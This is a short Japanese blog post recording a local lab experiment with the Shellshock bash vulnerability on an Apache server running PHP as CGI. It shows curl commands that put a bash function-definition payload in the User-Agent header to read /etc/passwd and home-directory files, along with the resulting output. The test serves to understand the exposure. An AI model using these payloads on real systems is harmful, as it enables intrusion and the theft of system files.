実験メモ

Fri Oct 3 20:30:09 JST 2014 (modified: Sun Oct 1 10:50:27 JST 2017)
views: 1796, keywords:CLI,こっそり置いておく この記事は最終更新日が7年以上前のものです。

何の実験かは・・・あれですね・・・。

こういうファイルを準備。

[root@localhost httpd]# cat /var/www/html/index.php 
   #!/usr/bin/env php
   
   <?php
       system('date');
   ?>

httpd.confのOptionsのところにExecCGIを追加し、 下にAddHandlerを書く。

 Options Indexes FollowSymLinks ExecCGI
    AddHandler cgi-script php

ホームの下にファイルを準備

[ueda@localhost ~]$ ls -l mysecret 
   -rw-rw-r--. 1 ueda ueda 13 10月 3 20:07 2014 mysecret
   [ueda@localhost ~]$ cat mysecret 
   私の秘密

外側からcurlでつっつく。ポートフォワードでhttp://localhost:8888からつっつく。

uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /home/ueda/*' http://localhost:8888/index.php

ログを確認。パーミッションで守られている。

[root@localhost httpd]# tail error_log 
   ...
   [Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] /bin/cat: 
   [Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] /home/ueda/*
   [Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] : Permission denied
   [Fri Oct 03 20:19:15 2014] [error] [client 10.0.2.2] 

もう一度突っつく。別のものを。

uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php
   sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
   ueda:x:500:500::/home/ueda:/bin/bash
   apache:x:48:48:Apache:/var/www:/sbin/nologin

守られていない・・・。

今度はhttpd.confから追記部分をもう一度削り、index.phpを次のように書き換える。

[root@localhost httpd]# cat /var/www/html/index.php 
   <?php
       system('date');
   ?>

もう一度突っつく。

uedambp:~ ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php
   Fri Oct 3 20:27:38 JST 2014

大丈夫。

もう一度CGIモードで。こんなコード。

[root@localhost httpd]# cat /var/www/html/index.php 
   #!/usr/bin/php
   
   <?php
       print("hoge\\n");
   ?>
uedambp:IPSJ_SHELLSHOCK ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php 2> /dev/null
   hoge

大丈夫。

これは・・・

[root@localhost httpd]# cat /var/www/html/index.php 
   #!/usr/bin/php
   
   <?php
       system("date");
   ?>

ダメ。

uedambp:IPSJ_SHELLSHOCK ueda$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3' http://localhost:8888/index.php 2> /dev/null
   sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
   ueda:x:500:500::/home/ueda:/bin/bash
   apache:x:48:48:Apache:/var/www:/sbin/nologin
ノート   このエントリーをはてなブックマークに追加 
 

prev:Structure and Interpretation of Computer Programs読書会23回目メモ書き next:【問題のみ】第13回危険でない方のシェル芸勉強会

やり散らかし一覧

記事いろいろ